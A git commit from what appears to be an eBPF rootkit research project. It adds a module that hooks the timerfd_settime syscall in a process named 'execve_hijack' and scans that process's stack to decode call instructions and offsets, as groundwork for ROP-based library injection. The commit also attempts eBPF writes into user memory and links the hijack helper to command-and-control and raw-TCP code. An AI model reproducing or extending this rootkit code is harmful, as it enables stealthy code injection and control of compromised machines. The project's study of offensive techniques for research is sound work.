Added extraction of original jump instruction and opcodes

This commit is contained in:
h3xduck
2022-03-15 18:36:59 -04:00
parent 0c88d5baa9
commit 671e2d671d
18 changed files with 5736 additions and 1630 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

0
src/: Normal file
View File

Binary file not shown.

View File

@@ -22,4 +22,7 @@
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0" #define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
//LIBRARY INJECTION WITH ROP
#define TASK_COMM_NAME_ROP_TARGET "execve_hijack"
#endif #endif

View File

@@ -10,9 +10,118 @@
#include "../../../common/constants.h" #include "../../../common/constants.h"
#define OPCODE_JUMP_BYTE_0 0xe8
struct sys_timerfd_settime_enter_ctx {
unsigned long long unused; //Pointer to pt_regs
int __syscall_nr;
unsigned int padding; //Alignment
int ufd;
int flags;
const struct __kernel_itimerspec *utmr;
struct __kernel_itimerspec *otmr;
};
static __always_inline int stack_extract_return_address(__u64 stack){
//We now have a possible call instruction, we check if it starts with the correct format
__u8 *op = (__u8*)(stack - 0x5);
__u8 opcode_arr[5];
bpf_probe_read(&opcode_arr, 5*sizeof(__u8), op);
if (opcode_arr[0] != OPCODE_JUMP_BYTE_0) {
bpf_printk(" -- Failed OPCODE: %x\n", opcode_arr[0]);
return 0;
}
bpf_printk("OPCODE: %x\n", opcode_arr[0]);
bpf_printk("OPCODE: %x\n", opcode_arr[1]);
bpf_printk("OPCODE: %x\n", opcode_arr[2]);
bpf_printk("OPCODE: %x\n", opcode_arr[3]);
bpf_printk("OPCODE: %x\n", opcode_arr[4]);
//We have localized the call instruction. We proceed to get the offset of the call.
__u32 offset;
bpf_probe_read(&offset, sizeof(__u32), &op[1]);
bpf_printk("OFFSET: %x\n", offset);
__u8* call_addr = (__u8*)((op+offset+5));
//We check which address was called. We could either be at libc already after
//following it, or in the PLT entry on the same executable as before.
__u32 call_dest;
bpf_printk("CALL_ADDR: %lx\n", call_addr);
bpf_probe_read(&call_dest, sizeof(__u32), call_addr);
bpf_printk("BYTES: %llx\n", call_dest);
bpf_probe_read(&opcode_arr, 2*sizeof(__u8), call_addr);
bpf_printk("OPCODE0: %x\n", opcode_arr[0]);
bpf_printk("OPCODE1: %x\n", opcode_arr[1]);
return 0;
}
SEC("tp/syscalls/sys_enter_timerfd_settime")
int sys_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
__u64 *scanner = (__u64*)ctx->otmr;
int fd = ctx->ufd;
char comm[TASK_COMM_LEN] = {0};
int err = bpf_get_current_comm(comm, sizeof(comm));
if(err<0){
return -1;
}
char *task = TASK_COMM_NAME_ROP_TARGET;
if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
return 0;
}
bpf_printk("TASK: %s\n", comm);
long timesecs;
//bpf_probe_read_user(&timesecs, sizeof(long), &(new->it_interval.tv_sec));
//bpf_printk("AG %ld\n",timesecs);
__u64 address = 0;
bpf_printk("Timer %i to scan at address %lx\n", fd, scanner);
#pragma unroll
for(__u64 ii=0; ii<14; ii++){
bpf_probe_read(&address, sizeof(__u64), (void*)scanner - ii*8);
bpf_printk("stack: %lx\n", address);
stack_extract_return_address(address);
}
return 0;
}
//NOT CURRENTLY CONNECTED
SEC("uprobe/execute_command") SEC("uprobe/execute_command")
int uprobe_execute_command(struct pt_regs *ctx){ int uprobe_execute_command(struct pt_regs *ctx){
bpf_printk("UPROBE activated\n"); bpf_printk("UPROBE activated\n");
bpf_printk("Ret is %lx", ctx->ip);
char* buf = "A\0";
long ret;
if((ret = bpf_probe_write_user((void*)ctx->ip, buf,1))>=0){
bpf_printk("Success writting? Should not have happened\n");
return -1;
}
bpf_printk("ERROR writing: %li\n", ret); //EFAULT
char dest_buf[2];
if(ctx->ip-5 <=0){
return -1;
}
if((ret = bpf_probe_read_user(dest_buf, 2, (void*)ctx->ip-5))<0){
bpf_printk("Error reading instruction\n");
return -1;
}
bpf_printk("Stack: %x\n", dest_buf);
return 0; return 0;
} }

4
src/helpers/.gdb_history Normal file
View File

@@ -0,0 +1,4 @@
disass main
checksec bof
checksec
quit

View File

@@ -9,10 +9,10 @@ injection_lib: injection_lib.o
gcc -Wall -shared -fPIC -o injection_lib.so injection_lib.c -ldl gcc -Wall -shared -fPIC -o injection_lib.so injection_lib.c -ldl
execve_hijack.o: execve_hijack.c $(HEADERS) execve_hijack.o: execve_hijack.c $(HEADERS)
clang -c execve_hijack.c clang -g -c execve_hijack.c
execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a
clang -lm -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a clang -lm -g -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
clean: clean:
-rm -f execve_hijack.o -rm -f execve_hijack.o

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -16,11 +16,36 @@
#include <netinet/ip.h> #include <netinet/ip.h>
#include <netinet/tcp.h> #include <netinet/tcp.h>
#include <dlfcn.h> #include <dlfcn.h>
#include <sys/timerfd.h>
#include "lib/RawTCP.h" #include "lib/RawTCP.h"
#include "../common/c&c.h" #include "../common/c&c.h"
int test_time_values_injection(){
struct itimerspec new_value;
int max_exp, fd;
struct timespec now;
uint64_t exp, tot_exp;
ssize_t s;
fd = timerfd_create(CLOCK_REALTIME, 0);
if (fd == -1)
return -1;
new_value.it_interval.tv_sec = 30;
new_value.it_interval.tv_nsec = 0;
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1)
return -1;
printf("Timer %i started, address sent %llx\n", fd, (__u64)&new_value);
return 0;
}
char* execute_command(char* command){ char* execute_command(char* command){
FILE *fp; FILE *fp;
@@ -72,6 +97,8 @@ int main(int argc, char* argv[], char *envp[]){
printf("Argument %i is %s\n", ii, argv[ii]); printf("Argument %i is %s\n", ii, argv[ii]);
} }
test_time_values_injection();
time_t rawtime; time_t rawtime;
struct tm * timeinfo; struct tm * timeinfo;

Binary file not shown.

View File

@@ -8,19 +8,19 @@
#include "common.h" #include "common.h"
//Connections //Connections
int attach_uprobe_execute_command(struct kit_bpf *skel){ int attach_sys_timerfd_settime(struct kit_bpf *skel){
skel->links.uprobe_execute_command = bpf_program__attach_uprobe(skel->progs.uprobe_execute_command, false, -1, "/home/osboxes/TFG/src/helpers/execve_hijack", 4992); //skel->links.kprobe_sys_geteuid = bpf_program__attach_uprobe(skel->progs.uprobe_execute_command, false, -1, "/home/osboxes/TFG/src/helpers/execve_hijack", 4992);
printf("SET\n"); skel->links.sys_timerfd_settime = bpf_program__attach(skel->progs.sys_timerfd_settime);
return libbpf_get_error(skel->links.tp_sys_enter_execve); return libbpf_get_error(skel->links.sys_timerfd_settime);
} }
int attach_injection_all(struct kit_bpf *skel){ int attach_injection_all(struct kit_bpf *skel){
return attach_uprobe_execute_command(skel); return attach_sys_timerfd_settime(skel);
} }
int detach_uprobe_execute_command(struct kit_bpf *skel){ int detach_sys_timerfd_settime(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.uprobe_execute_command); int err = detach_link_generic(skel->links.sys_timerfd_settime);
if(err<0){ if(err<0){
fprintf(stderr, "Failed to detach fs link\n"); fprintf(stderr, "Failed to detach fs link\n");
return -1; return -1;
@@ -29,7 +29,7 @@ int detach_uprobe_execute_command(struct kit_bpf *skel){
} }
int detach_injection_all(struct kit_bpf *skel){ int detach_injection_all(struct kit_bpf *skel){
return detach_uprobe_execute_command(skel); return detach_sys_timerfd_settime(skel);
} }
#endif #endif

View File

@@ -26,7 +26,7 @@ module_config_t module_config = {
}, },
.injection_module = { .injection_module = {
.all = ON, .all = ON,
.uprobe_execute_command = OFF .sys_timerfd_settime = OFF
} }
}; };
@@ -88,7 +88,7 @@ int setup_all_modules(){
if(config.injection_module.all == ON){ if(config.injection_module.all == ON){
ret = attach_injection_all(attr.skel); ret = attach_injection_all(attr.skel);
}else{ }else{
if(config.injection_module.uprobe_execute_command == ON) ret = attach_uprobe_execute_command(attr.skel); if(config.injection_module.sys_timerfd_settime == ON) ret = attach_sys_timerfd_settime(attr.skel);
} }
if(ret!=0) return -1; if(ret!=0) return -1;

View File

@@ -37,7 +37,7 @@ typedef struct module_config_t{
struct injection_module { struct injection_module {
char all; char all;
char uprobe_execute_command; char sys_timerfd_settime;
}injection_module; }injection_module;
} module_config_t; } module_config_t;

View File

@@ -0,0 +1,6 @@
#include <stdio.h>
#include <stdlib.h>
#include "extractor.h"

View File

@@ -0,0 +1,6 @@
#ifndef __ROP_EXT_H
#define __ROP_EXT_H
#endif

View File

@@ -20,6 +20,7 @@
#include "include/utils/strings/regex.h" #include "include/utils/strings/regex.h"
#include "include/utils/structures/fdlist.h" #include "include/utils/structures/fdlist.h"
#include "include/modules/module_manager.h" #include "include/modules/module_manager.h"
#include "include/utils/rop/extractor.h"
#define ABORT_IF_ERR(err, msg)\ #define ABORT_IF_ERR(err, msg)\
if(err<0){\ if(err<0){\